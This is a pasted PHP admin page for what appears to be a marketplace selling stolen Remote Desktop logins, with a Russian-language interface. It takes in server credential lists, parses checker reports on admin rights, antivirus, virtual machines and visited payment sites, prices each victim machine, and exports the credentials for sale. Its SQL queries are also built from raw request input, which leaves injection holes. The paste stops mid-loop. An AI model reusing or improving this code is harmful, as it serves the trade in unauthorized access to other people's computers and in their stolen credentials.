Advertisement
Guest User

Untitled

a guest
May 14th, 2018
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.17 KB | None | 0 0
  1. <?php
  2. session_start();
  3. ini_set('session.cookie_httponly',1);
  4. include "inc/config.php";
  5. include "inc/auth.php";
  6.  
  7. if(isset($_POST['download'])){
  8.  
  9. $sql_nevalid_download = "SELECT * FROM `rdpList` WHERE `status`='forsale'";
  10. $res_nevalid_download = mysqli_query($link_db,$sql_nevalid_download) or die(mysqli_error($link_db));
  11. $listservers = '';
  12.  
  13. while($row_nevalid_download = mysqli_fetch_assoc($res_nevalid_download)){
  14. $listservers .= $row_nevalid_download['serverIp'].":".$row_nevalid_download['port']."@".$row_nevalid_download['loginRdp']."\\".$row_nevalid_download['loginRdp2'].";".$row_nevalid_download['passwordRdp']."\n";
  15.  
  16. $sql_upd = "DELETE FROM `rdpList` WHERE `serverIp`='$row_nevalid_download[serverIp]'";
  17. mysqli_query($link_db,$sql_upd) or die(mysqli_error($link_db));
  18.  
  19. $sql_upd = "UPDATE `downloadRdp` SET `status`='onthecheck' WHERE `ip`='$row_nevalid_download[serverIp]'";
  20. mysqli_query($link_db,$sql_upd) or die(mysqli_error($link_db));
  21. }
  22.  
  23. $file = 'forsale.txt';
  24. file_put_contents('forsale.txt',$listservers);
  25.  
  26. header ("Content-Type: application/octet-stream");
  27. header ("Accept-Ranges: bytes");
  28. header ("Content-Length: ".filesize($file));
  29. header ("Content-Disposition: attachment; filename=".$file);
  30. readfile($file);
  31. //unlink($file);
  32.  
  33. }
  34.  
  35.  
  36.  
  37. if($_SESSION['privilege'] != "admin"){
  38.  
  39. unset ($_SESSION['pid']);
  40. unset ($_SESSION['login']);
  41. unset ($_SESSION['privilege']);
  42. session_destroy();
  43.  
  44. print "<script language = 'javascript'> var delay = 0;
  45. setTimeout(\"document.location.href='index.php'\", delay); </script>";
  46. }
  47. if(isset($_GET['exit'])){
  48. unset ($_SESSION['pid']);
  49. unset ($_SESSION['login']);
  50. unset ($_SESSION['privilege']);
  51.  
  52. session_destroy();
  53. $in_admin = 'setTimeout(function(){window.location=\'/\'},0);';
  54. print '<script type="text/javascript">' . $in_admin . '</script>';
  55. exit();
  56. }
  57.  
  58. ?>
  59. <!DOCTYPE html>
  60. <html>
  61. <head>
  62. <meta charset="utf-8">
  63. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  64. <meta name="description" content="A fully featured admin theme which can be used to build CRM, CMS, etc.">
  65. <meta name="author" content="Coderthemes">
  66.  
  67. <link rel="shortcut icon" href="assets/images/favicon.ico">
  68.  
  69. <title><?=$sql_settings_row['siteName']?></title>
  70.  
  71. <!--Morris Chart CSS -->
  72. <link rel="stylesheet" href="assets/plugins/morris/morris.css">
  73. <!-- Plugins css-->
  74. <link href="assets/plugins/bootstrap-tagsinput/dist/bootstrap-tagsinput.css" rel="stylesheet" />
  75. <link href="assets/plugins/multiselect/css/multi-select.css" rel="stylesheet" type="text/css" />
  76. <link href="assets/plugins/select2/dist/css/select2.css" rel="stylesheet" type="text/css">
  77. <link href="assets/plugins/select2/dist/css/select2-bootstrap.css" rel="stylesheet" type="text/css">
  78. <link href="assets/plugins/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.css" rel="stylesheet" />
  79. <link href="assets/plugins/switchery/switchery.min.css" rel="stylesheet" />
  80. <link href="assets/plugins/timepicker/bootstrap-timepicker.min.css" rel="stylesheet">
  81. <link href="assets/plugins/mjolnic-bootstrap-colorpicker/dist/css/bootstrap-colorpicker.min.css" rel="stylesheet">
  82. <link href="assets/plugins/bootstrap-datepicker/dist/css/bootstrap-datepicker.min.css" rel="stylesheet">
  83. <link href="assets/plugins/bootstrap-daterangepicker/daterangepicker.css" rel="stylesheet">
  84. <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
  85. <link href="assets/css/menu.css" rel="stylesheet" type="text/css" />
  86. <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
  87. <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
  88. <link href="assets/css/fam.css" rel="stylesheet" type="text/css" />
  89. <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
  90. <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
  91. <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />
  92. <!-- DataTables -->
  93. <link href="assets/plugins/datatables/jquery.dataTables.min.css" rel="stylesheet" type="text/css" />
  94. <link href="assets/plugins/datatables/buttons.bootstrap.min.css" rel="stylesheet" type="text/css" />
  95. <link href="assets/plugins/datatables/fixedHeader.bootstrap.min.css" rel="stylesheet" type="text/css" />
  96. <link href="assets/plugins/datatables/responsive.bootstrap.min.css" rel="stylesheet" type="text/css" />
  97. <link href="assets/plugins/datatables/scroller.bootstrap.min.css" rel="stylesheet" type="text/css" />
  98. <!-- HTML5 Shiv and Respond.js IE8 support of HTML5 elements and media queries -->
  99. <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
  100. <!--[if lt IE 9]>
  101. <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
  102. <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
  103. <![endif]-->
  104.  
  105. <script src="assets/js/modernizr.min.js"></script>
  106.  
  107. </head>
  108.  
  109. <?
  110. $sql = "SELECT fixed FROM `user` WHERE `id`=$_SESSION[pid]";
  111. $res = mysqli_query($link_db,$sql);
  112. $row = mysqli_fetch_assoc($res);
  113. if($row['fixed'] == "on"){
  114. print "<body class='widescreen fixed-left-void'><br><div id='wrapper' class='forced enlarged'>";
  115. }else{
  116. print "<body class='widescreen fixed-left'><br><div id='wrapper' class='forced'>";
  117. }
  118. ?>
  119.  
  120.  
  121. <!-- Top Bar Start -->
  122. <div class="topbar">
  123.  
  124. <!-- LOGO -->
  125. <div class="topbar-left">
  126. <div class="text-center">
  127. <a href="dashboard.php" class="logo">
  128.  
  129. <span><img src="assets/images/logo.png" alt="logo" style="height: 36px;"></span>
  130. </a>
  131. </div>
  132. </div>
  133.  
  134. <!-- Button mobile view to collapse sidebar menu -->
  135. <div class="navbar navbar-default" role="navigation">
  136. <div class="container">
  137. <div class="">
  138. <div class="pull-left">
  139. <button id="menuhidden" class="button-menu-mobile open-left waves-effect waves-light">
  140. <i class="zmdi zmdi-menu"></i>
  141. </button>
  142. <span class="clearfix"></span>
  143. </div>
  144.  
  145. <form role="search" method="post" class="navbar-left app-search pull-left hidden-xs">
  146. <input type="text" placeholder="<?=mb_strtoupper($_SESSION['login'])?>" class="form-control">
  147.  
  148. </form>
  149.  
  150. </div>
  151. <!--/.nav-collapse -->
  152. </div>
  153. </div>
  154. </div>
  155. <!-- Top Bar End -->
  156.  
  157.  
  158. <!-- ========== Left Sidebar Start ========== -->
  159.  
  160. <div class="left side-menu">
  161. <div class="sidebar-inner slimscrollleft">
  162. <!--- Divider -->
  163. <div id="sidebar-menu">
  164. <?php
  165. if($_SESSION['privilege'] == "buyer"){
  166. include "inc/user/buyerNav.php";
  167. }elseif($_SESSION['privilege'] == "seller"){
  168. include "inc/user/sellerNav.php";
  169. }elseif($_SESSION['privilege'] == "admin"){
  170. include "inc/user/adminNav.php";
  171. }
  172. ?>
  173.  
  174.  
  175. <div class="clearfix"></div>
  176. </div>
  177. <div class="clearfix"></div>
  178.  
  179. </div>
  180. </div>
  181. <!-- Left Sidebar End -->
  182.  
  183. <!-- ============================================================== -->
  184. <!-- Start right Content here -->
  185. <!-- ============================================================== -->
  186. <div class="content-page">
  187. <!-- Start content -->
  188. <div class="content">
  189. <div class="container">
  190. <div class="row">
  191. <div class="col-sm-12">
  192. <ul class="nav nav-pills nav-pills-custom display-xs-none pull-right">
  193. <?php include "inc/ribbon.php";?>
  194. </ul>
  195. <h4 class="page-title"><?=$languages[$_SESSION["lang"]]["addingservers"]?></h4>
  196. </div>
  197. </div>
  198. <div class="row">
  199. <div class="col-sm-12">
  200. <div class="card-box table-responsive">
  201. <br>
  202. <form action="" method="post">
  203. <button type="submit" name="download" class="btn btn-success waves-effect waves-light pull-right">Скачать сервера для перечека</button>
  204. </form>
  205. <br>
  206. <?php
  207.  
  208. $sql_domain_valid = "SELECT ip,port,login,login2,password FROM downloadRdp WHERE `status`='forcheck'";
  209. $res_domain_valid = mysqli_query($link_db,$sql_domain_valid) or die(mysqli_error($link_db));
  210. $row_cnt_valid = mysqli_num_rows($res_domain_valid);
  211.  
  212.  
  213.  
  214.  
  215. //$data = explode(";",$_POST['oncheckedList']);
  216. //$datacnt = count($data);
  217. //print $datacnt;
  218.  
  219.  
  220. if($_SERVER['REQUEST_METHOD'] == "POST" AND isset($_POST['getforcheckcount'])){
  221.  
  222. $countserver = $_POST['countserver'];
  223. $country = "all";
  224.  
  225. function generateId($length){
  226. $chars = 'qwertyuiopasdfghjklzxcvbnmMNBVCXZLKJHGFDSAPOIUYTREWQ';
  227. $numChars = strlen($chars);
  228. $string = '';
  229. for ($i = 0; $i < $length; $i++) {
  230. $string .= substr($chars, rand(1, $numChars) - 1, 1);
  231. }
  232. return $string;
  233. }
  234.  
  235. $partid = generateId(9);
  236.  
  237.  
  238. if($country == "all"){
  239. $sql_domain = "SELECT ip,port,login,login2,password FROM downloadRdp WHERE `status`='forcheck' LIMIT $countserver";
  240. }else{
  241. $sql_domain = "SELECT ip,port,login,login2,password FROM downloadRdp WHERE `status`='forcheck' and `country`='$country' LIMIT $countserver";
  242. }
  243.  
  244. $res_domain = mysqli_query($link_db,$sql_domain) or die(mysqli_error($link_db));
  245. $row_cnt = mysqli_num_rows($res_domain);
  246.  
  247. $i = 0;
  248. while($row_domain = mysqli_fetch_assoc($res_domain)){
  249.  
  250. if($row_domain['login2'] == ""){$loginRdp = $row_domain['login'];}elseif($row_domain['login2'] != ""){$loginRdp = $row_domain['login']."\\".$row_domain['login2'];}
  251.  
  252. if($row_domain['port'] != 0){$serverport = $row_domain['ip'].":".$row_domain['port'];}else{$serverport = $row_domain['ip'];}
  253. $server .= $serverport."@".$loginRdp.";".$row_domain['password']."\n";
  254.  
  255. $sql_upd = "UPDATE `downloadRdp` SET `status`='onthecheck', `partid`='$partid' WHERE `ip`='$row_domain[ip]'";
  256. mysqli_query($link_db,$sql_upd) or die(mysqli_error($link_db));
  257. $i++;
  258. }
  259. ?>
  260. <div class="alert alert-success">
  261. <strong><?=$languages[$_SESSION["lang"]]["done"]?>!</strong> Получено серверов для чека - <span class="label label-success"><?=$row_cnt?></span>. <code> Не забудь скопировать сервера т.к. они были удалены из базы.</code></div>
  262. <?}//if post
  263.  
  264.  
  265.  
  266.  
  267.  
  268.  
  269.  
  270.  
  271. if($_SERVER['REQUEST_METHOD'] == "POST" AND isset($_POST['onchecked'])){
  272. $oncheckedList = trim($_POST["oncheckedList"]);
  273. $oncheckedList = explode("\n", $oncheckedList);
  274.  
  275. $i = 0;
  276. $nofullinfocnt = 0;
  277. $add = 0;
  278. $doublecnt = 0;
  279. while(!empty($oncheckedList[$i])){
  280.  
  281.  
  282. $string = $oncheckedList[$i];
  283. $string1 = preg_replace('/\\\\/', '\\\\\\', $string).PHP_EOL;
  284.  
  285. $res = explode(";",$string1);
  286. $cnt = count($res);
  287. $ipport = $res[0];
  288. $ipport = explode(":",$ipport);
  289.  
  290. $sql_check = "SELECT id FROM `rdpList` WHERE `status`='forsale' and `serverIp`='$ipport[0]'";
  291. $res_check = mysqli_query($link_db, $sql_check);
  292. $cnt_check = mysqli_num_rows($res_check);
  293.  
  294. /* $sql_check1 = "SELECT id FROM `downloadRdp` WHERE `ip`='$ipport[0]'";
  295. $res_check1 = mysqli_query($link_db, $sql_check1);
  296. $cnt_check1 = mysqli_num_rows($res_check1); */
  297.  
  298.  
  299. if($cnt_check == 0){
  300. if($cnt == 142 or $cnt == 2 or $cnt == 3){
  301.  
  302. $login = $res[1];
  303. $password = clearStr($res[2]);
  304. $os = trim($res[7]);
  305. $systemBit = $res[8];
  306. $accounttype = $res[9];
  307. $domain = clearStr($res[10]);
  308. $cpu = clearStr($res[11]);
  309. $corecount = $res[12];
  310. $ram = $res[13];
  311. $localip = $res[14];
  312. $uptime = $res[15];
  313. $upload = $res[16];
  314. $download = $res[17];
  315. $realip = $res[18];
  316. $country = clearStr($res[19]);
  317. $state = clearStr($res[20]);
  318. $city = clearStr($res[21]);
  319. $zip = $res[22];
  320. $organization = clearStr($res[23]);
  321. $isp = clearStr($res[24]);
  322. $mailserver = $res[25];
  323. $timezone = $res[26];
  324. $sorbsnetbl = $res[27];
  325. $spamcopbl = $res[28];
  326. $spamhausxbl = $res[29];
  327. $barracudabbl = $res[30];
  328. $southkoreannbl = $res[31];
  329. $browserlist = $res[33];
  330. $browsercurrent = $res[34];
  331.  
  332. $io = 37;
  333. while($io != 128){
  334. $sitesearch = explode(":",$res[$io]);
  335. preg_match('/\((.+)\)/', $sitesearch[0], $m);
  336. if(trim($sitesearch[1])=="Found"){
  337. $site = str_replace("www.","",$m[1]);
  338. $siteList .= trim($site).",";
  339. }
  340. $io++;
  341. }
  342.  
  343. $siteListPaypal = explode(",",$siteList);
  344. if(in_array("paypal.com",$siteListPaypal)){
  345. $paypal = "off";
  346. }else{
  347. $paypal = "on";
  348. }
  349.  
  350.  
  351.  
  352. $resPoker = mysqli_query($link_db, "SELECT domain FROM `ico_icon` WHERE `type`='poker'");
  353.  
  354.  
  355. $cntpoker = 0;
  356.  
  357. while($rowPoker = mysqli_fetch_assoc($resPoker)){
  358.  
  359. if(in_array($rowPoker['domain'],$siteListPaypal)){
  360. $cntpoker++;
  361. }
  362.  
  363. }
  364. if($cntpoker >= 1){
  365. $nopoker = "off";
  366. }
  367. if($cntpoker == 0){
  368. $nopoker = "on";
  369. }
  370.  
  371. $portcheckudp80 = $res[128];
  372. $portchecktcp80 = $res[129];
  373. $portcheckudp25 = $res[130];
  374. $portchecktcp25 = $res[131];
  375. $vmware = $res[136];
  376. $virtualbox = $res[137];
  377. $kaspersky = $res[138];
  378. $mcafee = $res[139];
  379. $avira = $res[140];
  380. $drweb = $res[141];
  381.  
  382.  
  383. $login = explode("\\",$login);
  384. $login1 = clearStr($login[0]);
  385. $login2 = clearStr($login[2]);
  386.  
  387. if(empty($login2)){
  388. $login = $login[0]."\\".$login[2];
  389. }else{
  390. $login = $login1;
  391. }
  392.  
  393. $systemBit = substr($systemBit, 0, 3);
  394. $accounttype = explode(":",$accounttype);
  395. if(trim($accounttype[1]) == "User"){
  396. $accounttype[1] = "off"; }
  397. if(trim($accounttype[1]) == "Admin"){
  398. $accounttype[1] = "on"; }
  399.  
  400. $domain = explode(":",$domain);
  401. $domain[1] = trim($domain[1]);
  402.  
  403. $corecount = explode(":",$corecount);
  404. $corecount[1] = trim($corecount[1]);
  405.  
  406. $ram = explode(":",$ram);
  407. $ram = explode(" ",$ram[1]);
  408. $localip = explode(":",$localip);
  409. $localip[1] = trim($localip[1]);
  410.  
  411. $uptime = explode(":",$uptime);
  412. $uptime = explode(" ",$uptime[1]);
  413.  
  414. $uptime = $uptime[1]/24;
  415. $upload = explode(":",$upload);
  416. $upload = explode(" ",$upload[1]);
  417.  
  418. $download = explode(":",$download);
  419. $download = explode(" ",$download[1]);
  420.  
  421. $realip = explode(":",$realip);
  422. $realip[1] = trim($realip[1]);
  423.  
  424. $country = explode(":",$country);
  425. $country[1] = trim($country[1]);
  426.  
  427. $state = explode(":",$state);
  428. $state[1] = trim($state[1]);
  429.  
  430.  
  431. if($realip[1] == $localip[1] and !empty($realip[1]) and !empty($localip[1])){
  432. $directip = "on";
  433. }else{
  434. $directip = "off";
  435. }
  436.  
  437. if(empty($realip[1]) and empty($localip[1])){
  438. $directip = "";
  439. }
  440.  
  441. $city = explode(":",$city);
  442. $city[1] = trim($city[1]);
  443.  
  444. $zip = explode(":",$zip);
  445. $zip[1] = trim($zip[1]);
  446.  
  447. $organization = explode(":",$organization);
  448. $organization[1] = trim($organization[1]);
  449.  
  450. $isp = explode(":",$isp);
  451. $isp[1] = trim($isp[1]);
  452.  
  453. $mailserver = explode(":",$mailserver);
  454. $mailserver[1] = trim($mailserver[1]);
  455.  
  456. $timezone = explode(":",$timezone);
  457. $timezone[1] = trim($timezone[1]);
  458.  
  459. $sorbsnetbl = explode(":",$sorbsnetbl);
  460. $sorbsnetbl[1] = trim($sorbsnetbl[1]);
  461.  
  462. $spamcopbl = explode(":",$spamcopbl);
  463. $spamcopbl[1] = trim($spamcopbl[1]);
  464.  
  465. $spamhausxbl = explode(":",$spamhausxbl);
  466. $spamhausxbl[1] = trim($spamhausxbl[1]);
  467.  
  468. $barracudabbl = explode(":",$barracudabbl);
  469. $barracudabbl[1] = trim($barracudabbl[1]);
  470.  
  471. $southkoreannbl = explode(":",$southkoreannbl);
  472. $southkoreannbl[1] = trim($southkoreannbl[1]);
  473.  
  474. $browserlist = explode(":",$browserlist);
  475. $browserlist[1] = trim($browserlist[1]);
  476.  
  477. $browsercurrent = explode(":",$browsercurrent);
  478. $browsercurrent[1] = trim($browsercurrent[1]);
  479.  
  480. $portcheckudp80 = explode(":",$portcheckudp80);
  481. $portcheckudp80[1] = trim($portcheckudp80[1]);
  482.  
  483. $portchecktcp80 = explode(":",$portchecktcp80);
  484. $portchecktcp80[1] = trim($portchecktcp80[1]);
  485.  
  486. $portcheckudp25 = explode(":",$portcheckudp25);
  487. $portcheckudp25[1] = trim($portcheckudp25[1]);
  488.  
  489. $portchecktcp25 = explode(":",$portchecktcp25);
  490. $portchecktcp25[1] = trim($portchecktcp25[1]);
  491.  
  492. if($portchecktcp80[1] == "Open" OR $portcheckudp80[1] == "Open"){
  493. $port80 = "on";
  494. }else{
  495. $port80 = "off";
  496. }
  497.  
  498. if($portchecktcp25[1] == "Open" OR $portcheckudp25[1] == "Open"){
  499. $port25 = "on";
  500. }else{
  501. $port25 = "off";
  502. }
  503.  
  504.  
  505. $vmware = explode(":",$vmware);
  506. $vmware[1] = trim($vmware[1]);
  507.  
  508. $virtualbox = explode(":",$virtualbox);
  509. $virtualbox[1] = trim($virtualbox[1]);
  510.  
  511. $kaspersky = explode(":",$kaspersky);
  512. $kaspersky[1] = trim($kaspersky[1]);
  513.  
  514. $mcafee = explode(":",$mcafee);
  515. $mcafee[1] = trim($mcafee[1]);
  516.  
  517. $avira = explode(":",$avira);
  518. $avira[1] = trim($avira[1]);
  519.  
  520. $drweb = explode(":",$drweb);
  521. $drweb[1] = trim($drweb[1]);
  522.  
  523. $virtual = "";
  524. $antivirus = "";
  525.  
  526. if($vmware[1] == "Found"){
  527. $virtual .= "VmWare,";
  528. }
  529. if($virtualbox[1] == "Found"){
  530. $virtual .= "VirtualBox,";
  531. }
  532.  
  533.  
  534. if($kaspersky[1] == "Found"){
  535. $antivirus .= "kaspersky Lab,";
  536. }
  537. if($mcafee[1] == "Found"){
  538. $antivirus .= "McAfee,";
  539. }
  540. if($avira[1] == "Found"){
  541. $antivirus .= "Avira,";
  542. }
  543. if($drweb[1] == "Found"){
  544. $antivirus .= "Dr.Web,";
  545. }
  546.  
  547.  
  548. $dateTime = date("Y-m-d H:i:s");
  549. $ip = trim($ipport[0]);
  550. $sql_check = "SELECT user FROM `downloadRdp` WHERE `ip`='$ip'";
  551. $sql_check_res = mysqli_query($link_db,$sql_check);
  552. $sql_check_row = mysqli_fetch_assoc($sql_check_res);
  553. $seller = $sql_check_row['user'];
  554.  
  555. $price = $sql_settings_row['minprice'];
  556.  
  557. if(stristr($os, 'Windows 10')!=FALSE){
  558. $price = $price + 0.5;
  559. if($accounttype[1] == "on"){
  560. $price = $price + 2;
  561. }
  562. if($directip == "on"){
  563. $price = $price + 0.5;
  564. }
  565. }
  566.  
  567.  
  568. if(stristr($os, 'Windows 10')==FALSE and stristr($os, 'Windows Vista')==FALSE){
  569. if($accounttype[1] == "on"){
  570. $price = $price + 2;
  571. }
  572. if($directip == "on"){
  573. $price = $price + 0.5;
  574. }
  575. }
  576.  
  577.  
  578. if(stristr($os, 'Windows Vista')!=FALSE){
  579. $price = $price + 0.5;
  580. if($accounttype[1] == "on"){
  581. $price = $price + 2;
  582. }
  583. if($directip == "on"){
  584. $price = $price + 0.5;
  585. }
  586. }
  587. //print_r($res); die();
  588.  
  589.  
  590. if($country[1]=="" and $state[1]=="" and $city[1]=="" and $zip[1]=="" and $os[1]==""){
  591.  
  592. if($siteListPaypal == "Array"){
  593. $nopoker = "on";
  594. $paypal = "on";
  595. }
  596.  
  597. require_once 'inc/phpQuery.php';
  598. $url = "https://check-host.net/ip-info?host=".$ipport[0];
  599. $fp = fopen($_SERVER['DOCUMENT_ROOT']."/cookie.txt","w");
  600. fclose($fp);
  601. $login = curl_init();
  602. curl_setopt($login, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT']."/cookie.txt");
  603. curl_setopt($login, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT']."/cookie.txt");
  604. curl_setopt($login, CURLOPT_TIMEOUT, 36);
  605. curl_setopt ($login, CURLOPT_SSL_VERIFYPEER, 0);
  606. curl_setopt ($login, CURLOPT_SSL_VERIFYHOST, 0);
  607. curl_setopt($login, CURLOPT_REFERER, "https://check-host.net");
  608. curl_setopt($login, CURLOPT_RETURNTRANSFER, TRUE);
  609. curl_setopt($login, CURLOPT_URL, $url);
  610. curl_setopt($login, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36");
  611. curl_setopt($login, CURLOPT_FOLLOWLOCATION, TRUE);
  612.  
  613. $result = curl_exec ($login);
  614. curl_close ($login);
  615. unset($login);
  616.  
  617. $doc = phpQuery::newDocument($result);
  618.  
  619. $isp = $doc->find('table:eq(1) tr:eq(4) td:eq(1)')->html();
  620. $org = $doc->find('table:eq(1) tr:eq(5) td:eq(1)')->html();
  621. $country = $doc->find('table:eq(1) tr:eq(6) td:eq(1)')->html();
  622. $state = $doc->find('table:eq(1) tr:eq(7) td:eq(1)')->html();
  623. $city = $doc->find('table:eq(1) tr:eq(8) td:eq(1)')->html();
  624. $zip = $doc->find('table:eq(1) tr:eq(11) td:eq(1)')->html();
  625.  
  626. preg_match('/\((.+)\)/', $country, $m);
  627. $country = mb_strtolower($m[1]);
  628.  
  629. $country = clearStr($country);
  630. $state = clearStr($state);
  631. $city = clearStr($city);
  632. $zip = clearStr($zip);
  633. $isp = clearStr($isp);
  634. $org = clearStr($org);
  635.  
  636.  
  637. $price = $sql_settings_row['minpricemin'];
  638. $sql_add_rdp = "INSERT INTO `rdpList` (`type`, `dateUpload`, `dateCheck`, `port`, `directIp`, `status`, `price`, `seller`, `buyer`, `loginRdp`, `loginRdp2`, `passwordRdp`, `serverIp`, `country`, `state`, `city`, `zip`, `organization`, `isp`, `nopaypal`, `nopoker`) VALUES ('short', '$dateTime', '$dateTime', $ipport[1], '$directip', 'precheck', '$price', '$seller', '', '$login1', '$login2', '$password', '$ipport[0]', '$country', '$state', '$city', '$zip', '$org', '$isp', '$paypal', '$nopoker')";
  639. mysqli_query($link_db,$sql_add_rdp) or die(mysqli_error($link_db));
  640.  
  641.  
  642. }else{
  643. //$sql_add_rdp = "INSERT INTO `rdpList` (`id`, `type`, `dateBuy`, `dateUpload`, `dateCheck`, `serverIp`, `port`, `directIp`, `status`, `reasonforreturn`, `price`, `incomeseller`, `serverName`, `serverOs`, `serverBit`, `acoountType`, `serverDomain`, `serverCpu`, `coreCount`, `serverRam`, `serverUpload`, `serverDownload`, `realIP`, `country`, `state`, `city`, `zip`, `organization`, `isp`, `port25`, `port80`, `nopoker`, `nopaypal`, `mailServer`, `timezone`, `uptime`, `virtual`, `antivirus`, `sorbs.netBL`, `spamcopBL`, `spamhausXBL`, `barracudaBBL`, `southKoreanNBL`, `proxyScore`, `browserList`, `browserCurrent`, `siteSearch`, `seller`, `buyer`, `loginRdp`, `loginRdp2`, `passwordRdp`) VALUES (NULL, 'long', '', '$dateTime', '$dateTime', '$ipport[0]', $ipport[1], '$directip', 'forsale', '', '$price', '', '$domain[1]', '$os', '$systemBit', '$accounttype[1]', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '$siteList', '$seller', '', '$login1', '$login2', '$password')";
  644. $sql_add_rdp = "INSERT INTO `rdpList` (`id`, `type`, `dateBuy`, `dateUpload`, `dateCheck`, `serverIp`, `port`, `directIp`, `status`, `reasonforreturn`, `price`, `incomeseller`, `serverName`, `serverOs`, `serverBit`, `acoountType`, `serverDomain`, `serverCpu`, `coreCount`, `serverRam`, `serverUpload`, `serverDownload`, `realIP`, `country`, `state`, `city`, `zip`, `organization`, `isp`, `port25`, `port80`, `nopoker`, `nopaypal`, `mailServer`, `timezone`, `uptime`, `virtual`, `antivirus`, `sorbs.netBL`, `spamcopBL`, `spamhausXBL`, `barracudaBBL`, `southKoreanNBL`, `proxyScore`, `browserList`, `browserCurrent`, `siteSearch`, `seller`, `buyer`, `loginRdp`, `loginRdp2`, `passwordRdp`) VALUES (NULL, 'long', '', '$dateTime', '$dateTime', '$ipport[0]', $ipport[1], '$directip', 'forsale', '', '$price', '', '$domain[1]', '$os', '$systemBit', '$accounttype[1]', '$domain[1]', '$cpu', $corecount[1], '$ram[1]', '$upload[1]', '$download[1]', '$realip[1]', '$country[1]', '$state[1]', '$city[1]', '$zip[1]', '$organization[1]', '$isp[1]', '$port25', '$port80', '$nopoker', '$paypal', '$mailserver[1]', '$timezone[1]', '$uptime', '$virtual', '$antivirus', '$sorbsnetbl[1]', '$spamcopbl[1]', '$spamhausxbl[1]', '$barracudabbl[1]', '$southkoreannbl[1]', '', '$browserlist[1]', '$browsercurrent[1]', '$siteList', '$seller', '', '$login1', '$login2', '$password')";
  645. mysqli_query($link_db,$sql_add_rdp) or die(mysqli_error($link_db));
  646. }
  647.  
  648.  
  649.  
  650.  
  651. $sql_upd = "UPDATE `downloadRdp` SET `status`='precheck' WHERE `ip`='$ipport[0]'";
  652. mysqli_query($link_db,$sql_upd) or die(mysqli_error($link_db));
  653. #print_r($res)."<br>";
  654. $i++;
  655. $add++;
  656.  
  657. $sql_domain = "SELECT partid FROM downloadRdp WHERE `ip`='$ipport[0]'";
  658. $res_domain = mysqli_query($link_db,$sql_domain) or die(mysqli_error($link_db));
  659. $row_domain = mysqli_fetch_assoc($res_domain);
  660. $partid = $row_domain['partid'];
  661. unset($siteList);
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668.  
  669.  
  670.  
  671.  
  672.  
  673. }else{
  674. $nofullinfo .= $oncheckedList[$i]."\n";
  675. $i++;
  676. $nofullinfocnt++;
  677. }
  678. }else{
  679. $double .= $oncheckedList[$i]."\n";
  680. $i++;
  681. $doublecnt++;
  682. }
  683. }//while
  684.  
  685.  
  686. $sql_upd = "UPDATE `downloadRdp` SET `status`='nevalid' WHERE `partid`='$partid' AND `status`='onthecheck'";
  687. mysqli_query($link_db,$sql_upd) or die(mysqli_error($link_db));
  688.  
  689.  
  690. ?>
  691. <div class="alert alert-success">
  692. <strong><?=$languages[$_SESSION["lang"]]["done"]?>!</strong> <?=$languages[$_SESSION["lang"]]["addedservers"]?> - <span class="label label-success"><?=$add?></span>. <?if($cnt_repeats > 0){print $languages[$_SESSION["lang"]]["replays"]."<span class='label label-danger'>".$cnt_repeats."</span>";}?><?if($nofullinfocnt > 0){print "Не все параметры - <span class='label label-danger'>".$nofullinfocnt."</span>";}?>. <?if($doublecnt > 0){print "Повторы - <span class='label label-danger'>".$doublecnt."</span>";}?></div>
  693. <?}//if post?>
  694.  
  695. <div class="form-group">
  696.  
  697. <?if(!empty($nofullinfo)){ ?>
  698. <div class="alert alert-danger fade in m-b-0 col-sm-12">
  699. <label class="col-sm-12 control-label"><code>В данном списке серверов присутствуют не все необходимые параметры, эти сервера не были добавлены в систему.</code></label>
  700.  
  701. <div class="alert alert-danger fade in m-b-0 col-sm-12">
  702.  
  703.  
  704. <textarea rows="12" name="rdpList" onclick="this.select();" placeholder="ip:port@login;password" class="form-control"><?=$nofullinfo?></textarea>
  705. </div><br><br>
  706. </div>
  707. <?}?>
  708.  
  709. <?if(!empty($double)){ ?>
  710. <br> <div class="alert alert-danger fade in m-b-0 col-sm-12">
  711. <label class="col-sm-12 control-label"><code>В данном списке серверов присутствуют дубли, эти сервера уже были добавлены ранее</code></label>
  712.  
  713. <div class="alert alert-danger fade in m-b-0 col-sm-12">
  714.  
  715.  
  716. <textarea rows="12" name="rdpList" onclick="this.select();" placeholder="ip:port@login;password" class="form-control"><?=$double?></textarea>
  717. </div><br><br>
  718. </div>
  719. <?}
  720.  
  721. $sql_domain = "SELECT ip,port,login,login2,password FROM downloadRdp WHERE `status`='forcheck'";
  722. $res_domain = mysqli_query($link_db,$sql_domain) or die(mysqli_error($link_db));
  723. $row_cnt_forcheck = mysqli_num_rows($res_domain);
  724. ?>
  725. <div class="alert alert-<?if($row_cnt_forcheck == 0){print "danger";}else{print "success";}?> fade in m-b-0 col-sm-6">
  726. <label class="col-sm-12 control-label"><?if($row_cnt_forcheck > 0){print "Серверов для чека на конфиг - <span class='label label-success'>".$row_cnt_forcheck."</span>";}else{print "<span class='label label-danger'>Сервера для чека на конфиг отсутствуют</span>";}?></label>
  727. <form action="" method="post">
  728. <textarea rows="12" name="rdpList" onclick="this.select();" placeholder="ip:port@login;password" class="form-control"><?php
  729. if($_SERVER['REQUEST_METHOD'] == "POST" AND isset($_POST['getforcheck'])){
  730. $i = 0;
  731. while($row_domain = mysqli_fetch_assoc($res_domain)) {
